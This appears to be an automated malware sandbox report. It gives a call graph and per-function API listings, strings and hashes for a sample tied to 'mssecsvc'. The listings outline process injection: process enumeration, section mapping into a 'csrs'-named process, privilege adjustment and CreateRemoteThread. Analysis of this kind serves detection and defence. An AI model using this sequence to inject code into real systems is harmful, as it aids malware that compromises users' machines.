CreateProcessA 2741->2742 2743 b027ea WriteFile 2741->2743 2742->2744 2743->2741 2743->2742 2744->2734 2744->2737 2745 b02665 2747 b0266b CreateThread CloseHandle 2745->2747 2748 b03c38 2747->2748 2750 b03c3d 2748->2750 2751 b03ca9 2750->2751 2754 b03c5b GetWindowsDirectoryA 2750->2754 2801 b0252f NtOpenSection 2751->2801 2753 b03cae 2756 b03cb5 2753->2756 2757 b03cfb GetSystemDirectoryA 2753->2757 2759 b03d26 2754->2759 2802 b03cc2 GetModuleHandleA 2756->2802 2842 b03d1f lstrcat 2757->2842 2880 b03d36 LoadLibraryA 2759->2880 2801->2753 2803 b03cde 2802->2803 2804 b03ccc 2802->2804 2917 b03cf0 GetModuleHandleA 2803->2917 2806 b03cd4 GetProcAddress 2804->2806 2806->2803 2843 b03d26 2842->2843 2844 b03d36 127 API calls 2843->2844 2845 b03d2b GetProcAddress LoadLibraryA 2844->2845 2847 b010ce 2 API calls 2845->2847 2848 b03d7d 2847->2848 2849 b03d92 GetTickCount 2848->2849 2850 b03daa 2849->2850 2851 b03e47 GetVolumeInformationA 2850->2851 2852 b03e7a 2851->2852 2853 b03f25 2852->2853 2854 b03eb5 84 API calls 2852->2854 2856 b03f31 CreateThread CloseHandle 2853->2856 2857 b03f4f 2853->2857 2855 b03ea9 2854->2855 2855->2853 2858 b03efd 2855->2858 2861 b03eca GetModuleFileNameA 2855->2861 2856->2857 2859 b03f60 43 API calls 2857->2859 2858->2853 2862 b03405 5 API calls 2858->2862 2860 b03f54 2859->2860 2863 b010ce 2 API calls 2860->2863 2861->2858 2862->2853 2864 b03f7e 2863->2864 2865 b03f8f 28 API calls 2864->2865 2866 b03f83 2865->2866 2867 b03fd3 CreateThread CloseHandle 2866->2867 2868 b03ffa CreateEventA 2866->2868 2867->2868 2874 b04012 2868->2874 2869 b04056 lstrlen 2869->2869 2869->2874 2870 b04320 RtlExitUserThread 2871 b042d0 SetEvent 2871->2874 2872 b042f2 Sleep ResetEvent 2872->2874 2873 b040ef GetVersionExA 2873->2874 2874->2869 2874->2870 2874->2871 2874->2872 2874->2873 2875 b04178 11 API calls 2874->2875 2876 b041a7 CreateThread CloseHandle 2874->2876 2877 b041f6 GetTickCount 2874->2877 2878 b04288 Sleep 2874->2878 2875->2874 2876->2874 2877->2874 2878->2874 2879 b04294 GetTickCount 2878->2879 2879->2874 3066 b03d4b GetProcAddress LoadLibraryA 2880->3066 2956 b026d4 2917->2956 2920 b03d1f 149 API calls 2921 b03d12 GetProcAddress LoadLibraryA 2920->2921 2923 b010ce 2 API calls 2921->2923 2924 b03d7d 2923->2924 2925 b03d92 GetTickCount 2924->2925 2926 b03daa 2925->2926 2927 b03e47 GetVolumeInformationA 2926->2927 2928 b03e7a 2927->2928 2929 b03f25 2928->2929 2958 b03eb5 LoadLibraryA 2928->2958 2932 b03f31 CreateThread CloseHandle 2929->2932 2933 b03f4f 2929->2933 2932->2933 2986 b03f60 LoadLibraryA 2933->2986 2957 b026c8 GetSystemDirectoryA 2956->2957 2957->2920 3004 b03ecc GetProcAddress GetModuleFileNameA 2958->3004 2987 b03f7e 2986->2987 2988 b010ce 2 API calls 2986->2988 2989 b03f8f 28 API calls 2987->2989 2988->2987 2990 b03f83 2989->2990 2991 b03fd3 CreateThread CloseHandle 2990->2991 2992 b03ffa CreateEventA 2990->2992 2991->2992 3001 b04012 2992->3001 2993 b04056 lstrlen 2993->2993 2993->3001 2994 b04320 RtlExitUserThread 2995 b042d0 SetEvent 2995->3001 2996 b042f2 Sleep ResetEvent 2996->3001 2997 b040ef GetVersionExA 2997->3001 2998 b04178 11 API calls 2998->3001 2999 b041a7 CreateThread CloseHandle 2999->3001 3000 b041f6 GetTickCount 3000->3001 3001->2993 3001->2994 3001->2995 3001->2996 3001->2997 3001->2998 3001->2999 3001->3000 3002 b04288 Sleep 3001->3002 3002->3001 3003 b04294 GetTickCount 3002->3003 3003->3001 3005 b03efd 3004->3005 3006 b03f25 3005->3006 3029 b03405 3005->3029 3008 b03f31 CreateThread CloseHandle 3006->3008 3009 b03f4f 3006->3009 3008->3009 3010 b03f60 43 API calls 3009->3010 3011 b03f54 3010->3011 3012 b010ce 2 API calls 3011->3012 3013 b03f7e 3012->3013 3038 b03f8f LoadLibraryA 3013->3038 3030 b0343b 3029->3030 3030->3030 3031 b03440 NtOpenSection 3030->3031 3032 b0344e 3031->3032 3033 b0345f NtQuerySystemInformation 3032->3033 3037 b035f3 3032->3037 3034 b0346f MapViewOfFile CloseHandle 3033->3034 3036 b034b0 3034->3036 3034->3037 3035 b034b7 UnmapViewOfFile 3035->3037 3036->3035 3036->3037 3037->3006 3039 b04320 RtlExitUserThread 3038->3039 3040 b03f9d 3038->3040 3041 b010ce 2 API calls 3040->3041 3042 b03fb5 3041->3042 3042->3039 3043 b03fd4 CreateThread CloseHandle 3042->3043 3044 b03ffa CreateEventA 3043->3044 3045 b04012 3044->3045 3045->3039 3046 b04056 lstrlen 3045->3046 3047 b042d0 SetEvent 3045->3047 3048 b042f2 Sleep ResetEvent 3045->3048 3049 b040ef GetVersionExA 3045->3049 3051 b041a7 CreateThread CloseHandle 3045->3051 3052 b041f6 GetTickCount 3045->3052 3053 b04288 Sleep 3045->3053 3055 b04178 3045->3055 3046->3045 3046->3046 3047->3045 3048->3045 3049->3045 3051->3045 3052->3045 3053->3045 3054 b04294 GetTickCount 3053->3054 3054->3045 3061 b04012 3055->3061 3056 b041a7 CreateThread CloseHandle 3056->3061 3057 b041f6 GetTickCount 3057->3061 3058 b04320 RtlExitUserThread 3059 b042d0 SetEvent 3059->3061 3060 b042f2 Sleep ResetEvent 3060->3061 3061->3056 3061->3057 3061->3058 3061->3059 3061->3060 3062 b04056 lstrlen 3061->3062 3063 b04288 Sleep 3061->3063 3065 b040ef GetVersionExA 3061->3065 3062->3061 3062->3062 3063->3061 3064 b04294 GetTickCount 3063->3064 3064->3061 3065->3061 3067 b03d7d 3066->3067 3068 b010ce 2 API calls 3066->3068 3069 b03d92 GetTickCount 3067->3069 3068->3067 3070 b03daa 3069->3070 3071 b03e47 GetVolumeInformationA 3070->3071 3072 b03e7a 3071->3072 3073 b03f25 3072->3073 3074 b03eb5 84 API calls 3072->3074 3076 b03f31 CreateThread CloseHandle 3073->3076 3077 b03f4f 3073->3077 3075 b03ea9 3074->3075 3075->3073 3078 b03efd 3075->3078 3081 b03eca GetModuleFileNameA 3075->3081 3076->3077 3079 b03f60 43 API calls 3077->3079 3078->3073 3082 b03405 5 API calls 3078->3082 3080 b03f54 3079->3080 3083 b010ce 2 API calls 3080->3083 3081->3078 3082->3073 3084 b03f7e 3083->3084 3085 b03f8f 28 API calls 3084->3085 3086 b03f83 3085->3086 3087 b03fd3 CreateThread CloseHandle 3086->3087 3088 b03ffa CreateEventA 3086->3088 3087->3088 3097 b04012 3088->3097 3089 b04056 lstrlen 3089->3089 3089->3097 3090 b04320 RtlExitUserThread 3091 b042d0 SetEvent 3091->3097 3092 b042f2 Sleep ResetEvent 3092->3097 3093 b040ef GetVersionExA 3093->3097 3094 b04178 11 API calls 3094->3097 3095 b041a7 CreateThread CloseHandle 3095->3097 3096 b041f6 GetTickCount 3096->3097 3097->3089 3097->3090 3097->3091 3097->3092 3097->3093 3097->3094 3097->3095 3097->3096 3098 b04288 Sleep 3097->3098 3098->3097 3099 b04294 GetTickCount 3098->3099 3099->3097 2627 b03888 2629 b0388e GetSystemTime 2627->2629 2630 b038d2 2629->2630 2631 b0390c Sleep 2630->2631 2632 b03a32 2630->2632 2633 b039b9 Sleep 2630->2633 2631->2630 2633->2630 3100 b0116f LoadLibraryA 3103 b01196 GetProcAddress 3100->3103 3102 b01180 3103->3102

                                                                                          Executed Functions

                                                                                          Function 00B0042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 0 b0042d-b004a4 call b010ce 3 b004a6-b004db call b0273c GetModuleHandleA 0->3 4 b004dd 0->4 6 b004e4-b00509 call b02750 GetVersion 3->6 4->6 10 b005ca-b005d1 6->10 11 b0050f-b00530 VirtualAlloc 6->11 13 b005a9-b00615 CloseHandle GetModuleHandleA call b010ce 10->13 14 b005d3-b005fc SetProcessAffinityMask call b005f2 10->14 12 b00532-b00562 call b00305 11->12 11->13 12->13 27 b00564-b0057b 12->27 26 b00617-b00630 13->26 21 b00621-b00630 14->21 22 b005fe-b0061c 14->22 28 b00632 21->28 29 b00639-b00652 21->29 22->21 26->28 26->29 27->13 33 b0057d-b005a4 27->33 28->29 29->13 30 b00658-b00671 29->30 30->13 32 b00677-b00690 30->32 32->13 34 b00696-b0069c 32->34 33->13 48 b005a4 call b005ba 33->48 35 b006d8-b006de 34->35 36 b0069e-b006b1 34->36 37 b006e0-b006f3 35->37 38 b006fc-b00715 lstrcpyW call b024ae 35->38 36->13 40 b006b7-b006bd 36->40 37->38 41 b006f5 37->41 46 b00717-b00746 GetPEB lstrcpyW lstrcatW call b024ae 38->46 47 b0074c-b00775 NtMapViewOfSection 38->47 40->35 43 b006bf-b006d2 40->43 41->38 43->13 43->35 46->13 46->47 47->13 50 b0077b-b0078f call b00305 NtOpenProcessToken 47->50 48->13 54 b00791-b007a3 call b0115d call b007ac 50->54 55 b007c5-b007e4 CreateToolhelp32Snapshot Process32First 50->55 65 b007a5 54->65 66 b0080e-b0080f 54->66 56 b007eb-b007f5 Process32Next 55->56 58 b00865-b00872 CloseHandle 56->58 59 b007f7-b007fb 56->59 58->13 59->56 61 b007fd-b0080d OpenProcess 59->61 61->56 64 b0080f 61->64 67 b00810-b00818 call b02574 64->67 65->67 68 b007a7-b007c4 65->68 66->67 72 b0081a-b00820 67->72 73 b0085c-b00863 CloseHandle 67->73 68->55 72->73 74 b00822-b00832 72->74 73->56 74->73 75 b00834-b0084b CreateRemoteThread 74->75 75->73 76 b0084d-b00857 call b005ba 75->76 76->73
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00000000), ref: 00B004BE
                                                                                          • GetVersion.KERNEL32 ref: 00B00500
                                                                                          • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 00B00528
                                                                                          • CloseHandle.KERNEL32(?), ref: 00B005AD
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Handle$AllocCloseModuleVersionVirtual
                                                                                          • String ID: \BaseNamedObjects\qygtVt$\BaseNamedObjects\qygtVt$csrs
                                                                                          • API String ID: 3017432202-179476934
                                                                                          • Opcode ID: af164d1d25966aedbe8145d39b80cdcf1221f64a4a89d6cfb5c5abd873315565
                                                                                          • Instruction ID: 8d84d7762bada0356740c80e9e34778ecfe5edd189d0607c7485d3c2fe46be5d
                                                                                          • Opcode Fuzzy Hash: af164d1d25966aedbe8145d39b80cdcf1221f64a4a89d6cfb5c5abd873315565
                                                                                          • Instruction Fuzzy Hash: 20B1C931625249FFEB21AF24CC4ABAA3FA9FF55310F0040A9E9099E1C1C7F09F449B59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B005F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 78 b005f2-b00615 GetModuleHandleA call b010ce 81 b00617-b00630 78->81 82 b005a9-b005b3 CloseHandle 78->82 83 b00632 81->83 84 b00639-b00652 81->84 82->78 83->84 84->82 85 b00658-b00671 84->85 85->82 86 b00677-b00690 85->86 86->82 87 b00696-b0069c 86->87 88 b006d8-b006de 87->88 89 b0069e-b006b1 87->89 90 b006e0-b006f3 88->90 91 b006fc-b00715 lstrcpyW call b024ae 88->91 89->82 92 b006b7-b006bd 89->92 90->91 93 b006f5 90->93 97 b00717-b00746 GetPEB lstrcpyW lstrcatW call b024ae 91->97 98 b0074c-b00775 NtMapViewOfSection 91->98 92->88 95 b006bf-b006d2 92->95 93->91 95->82 95->88 97->82 97->98 98->82 100 b0077b-b0078f call b00305 NtOpenProcessToken 98->100 104 b00791-b007a3 call b0115d call b007ac 100->104 105 b007c5-b007e4 CreateToolhelp32Snapshot Process32First 100->105 115 b007a5 104->115 116 b0080e-b0080f 104->116 106 b007eb-b007f5 Process32Next 105->106 108 b00865-b00872 CloseHandle 106->108 109 b007f7-b007fb 106->109 108->82 109->106 111 b007fd-b0080d OpenProcess 109->111 111->106 114 b0080f 111->114 117 b00810-b00818 call b02574 114->117 115->117 118 b007a7-b007c4 115->118 116->117 122 b0081a-b00820 117->122 123 b0085c-b00863 CloseHandle 117->123 118->105 122->123 124 b00822-b00832 122->124 123->106 124->123 125 b00834-b0084b CreateRemoteThread 124->125 125->123 126 b0084d-b00857 call b005ba 125->126 126->123
                                                                                          APIs
                                                                                          • CloseHandle.KERNEL32(?), ref: 00B005AD
                                                                                          • GetModuleHandleA.KERNEL32(00B005EC), ref: 00B005F2
                                                                                          • lstrcpyW.KERNEL32(\BaseNamedObjects\qygtVt,\BaseNamedObjects\qygtVt), ref: 00B0070A
                                                                                          • lstrcpyW.KERNEL32(\BaseNamedObjects\qygtVt,?), ref: 00B0072D
                                                                                          • lstrcatW.KERNEL32(\BaseNamedObjects\qygtVt,\qygtVt), ref: 00B0073B
                                                                                          • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 00B0076B
                                                                                          • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00B00786
                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B007C9
                                                                                          • Process32First.KERNEL32 ref: 00B007DC
                                                                                          • Process32Next.KERNEL32 ref: 00B007ED
                                                                                          • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B00805
                                                                                          • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00B00842
                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B0085D
                                                                                          • CloseHandle.KERNEL32 ref: 00B0086C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                          • String ID: \BaseNamedObjects\qygtVt$\BaseNamedObjects\qygtVt$csrs
                                                                                          • API String ID: 1545766225-179476934
                                                                                          • Opcode ID: 48d68f98cdc8c2a0d33f19b10cfa1a61128d9cdff9aab1519998a7ca6d889fdb
                                                                                          • Instruction ID: c4f1444725a779bb6cb8007ec7811bdef3cf1c727d81e28024ced7527d086824
                                                                                          • Opcode Fuzzy Hash: 48d68f98cdc8c2a0d33f19b10cfa1a61128d9cdff9aab1519998a7ca6d889fdb
                                                                                          • Instruction Fuzzy Hash: 3271A831510209FFEB21AF10CC8ABAE3FADEF59311F1040A9E9099E0D1C7B59F459B59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B0252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 181 b0252f-b02573 NtOpenSection
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,0000000E), ref: 00B0255E
                                                                                          Strings
                                                                                          • \BaseNamedObjects\qygtVt, xrefs: 00B0254B
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: OpenSection
                                                                                          • String ID: \BaseNamedObjects\qygtVt
                                                                                          • API String ID: 1950954290-554015858
                                                                                          • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                          • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                                                                                          • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                          • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B02574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 182 b02574-b0257c call b0252f 185 b02661-b02664 182->185 186 b02582-b025b4 NtMapViewOfSection FindCloseChangeNotification 182->186 186->185 187 b025ba-b025c0 186->187 188 b025c2-b025cb 187->188 189 b025ce-b025d8 187->189 188->189 190 b025da-b025e2 189->190 191 b025ef-b0262a call b02477 * 3 189->191 190->191 192 b025e4-b025ea call b02477 190->192 200 b02637-b0263f 191->200 201 b0262c-b02632 call b02477 191->201 192->191 203 b02641-b02647 call b02477 200->203 204 b0264c-b02654 200->204 201->200 203->204 204->185 206 b02656-b0265c call b02477 204->206 206->185
                                                                                          APIs
                                                                                            • Part of subcall function 00B0252F: NtOpenSection.NTDLL(?,0000000E), ref: 00B0255E
                                                                                          • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 00B025A4
                                                                                          • FindCloseChangeNotification.KERNELBASE(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,00B00815), ref: 00B025AC
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Section$ChangeCloseFindNotificationOpenView
                                                                                          • String ID:
                                                                                          • API String ID: 1694706092-0
                                                                                          • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                          • Instruction ID: d3f5b40c626df736e049f7246ff985d567c5d05cf1db0248d21d5c6056eb10d8
                                                                                          • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                          • Instruction Fuzzy Hash: 0F213E70300546BBDB28DF25CC5AFA9BBA9FF91744F404158F9198E2D4DBB2AE18C718
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B01422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 208 b01422-b01474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                          APIs
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00B0145A
                                                                                          • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00B0146A
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                          • String ID:
                                                                                          • API String ID: 3615134276-0
                                                                                          • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                          • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                                                                                          • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                          • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B02477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 209 b02477-b024ad NtProtectVirtualMemory NtWriteVirtualMemory
                                                                                          APIs
                                                                                          • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00B0249B
                                                                                          • NtWriteVirtualMemory.NTDLL ref: 00B024A4
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: MemoryVirtual$ProtectWrite
                                                                                          • String ID:
                                                                                          • API String ID: 151266762-0
                                                                                          • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                          • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                          • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                          • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B0144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 210 b0144a-b01474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                          APIs
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00B0145A
                                                                                          • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00B0146A
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                          • String ID:
                                                                                          • API String ID: 3615134276-0
                                                                                          • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                          • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                                                                                          • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                          • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B007AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 128 b007ac-b007bf call b0144a FreeLibrary FindCloseChangeNotification 131 b007c5-b007e4 CreateToolhelp32Snapshot Process32First 128->131 132 b007eb-b007f5 Process32Next 131->132 133 b00865-b00872 CloseHandle 132->133 134 b007f7-b007fb 132->134 135 b005a9-b00615 CloseHandle GetModuleHandleA call b010ce 133->135 134->132 136 b007fd-b0080d OpenProcess 134->136 144 b00617-b00630 135->144 136->132 137 b0080f 136->137 139 b00810-b00818 call b02574 137->139 145 b0081a-b00820 139->145 146 b0085c-b00863 CloseHandle 139->146 147 b00632 144->147 148 b00639-b00652 144->148 145->146 149 b00822-b00832 145->149 146->132 147->148 148->135 150 b00658-b00671 148->150 149->146 151 b00834-b0084b CreateRemoteThread 149->151 150->135 152 b00677-b00690 150->152 151->146 153 b0084d-b00857 call b005ba 151->153 152->135 154 b00696-b0069c 152->154 153->146 156 b006d8-b006de 154->156 157 b0069e-b006b1 154->157 158 b006e0-b006f3 156->158 159 b006fc-b00715 lstrcpyW call b024ae 156->159 157->135 160 b006b7-b006bd 157->160 158->159 161 b006f5 158->161 165 b00717-b00746 GetPEB lstrcpyW lstrcatW call b024ae 159->165 166 b0074c-b00775 NtMapViewOfSection 159->166 160->156 163 b006bf-b006d2 160->163 161->159 163->135 163->156 165->135 165->166 166->135 168 b0077b-b0078f call b00305 NtOpenProcessToken 166->168 168->131 172 b00791-b007a3 call b0115d call b007ac 168->172 177 b007a5 172->177 178 b0080e-b0080f 172->178 177->139 179 b007a7-b007c4 177->179 178->139 179->131
                                                                                          APIs
                                                                                            • Part of subcall function 00B0144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00B0145A
                                                                                            • Part of subcall function 00B0144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00B0146A
                                                                                          • CloseHandle.KERNEL32(?), ref: 00B005AD
                                                                                          • FreeLibrary.KERNEL32(73E60000,?,00B0079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B007B8
                                                                                          • FindCloseChangeNotification.KERNELBASE(?,?,00B0079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B007BF
                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B007C9
                                                                                          • Process32First.KERNEL32 ref: 00B007DC
                                                                                          • Process32Next.KERNEL32 ref: 00B007ED
                                                                                          • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B00805
                                                                                          • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00B00842
                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B0085D
                                                                                          • CloseHandle.KERNEL32 ref: 00B0086C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Close$Handle$CreateProcess32$AdjustChangeFindFirstFreeLibraryLookupNextNotificationOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                          • String ID: csrs
                                                                                          • API String ID: 2727238916-2321902090
                                                                                          • Opcode ID: 214ed8d877d5af5bdcbfeb92dfaf8d9be1786541dc830f75d8708442990ea625
                                                                                          • Instruction ID: 1aa63aa34c53b7b6fd0117475550230dcc78404d8e010b5726b5b7faae6631a0
                                                                                          • Opcode Fuzzy Hash: 214ed8d877d5af5bdcbfeb92dfaf8d9be1786541dc830f75d8708442990ea625
                                                                                          • Instruction Fuzzy Hash: 0C113030511205BFEB256F21CC4ABBF3EADEF54702F0040ACF94A9A091D7B49F019A6A
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Non-executed Functions

                                                                                          Function 00B03C3D Relevance: 33.7, APIs: 17, Strings: 2, Instructions: 487libraryloaderCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
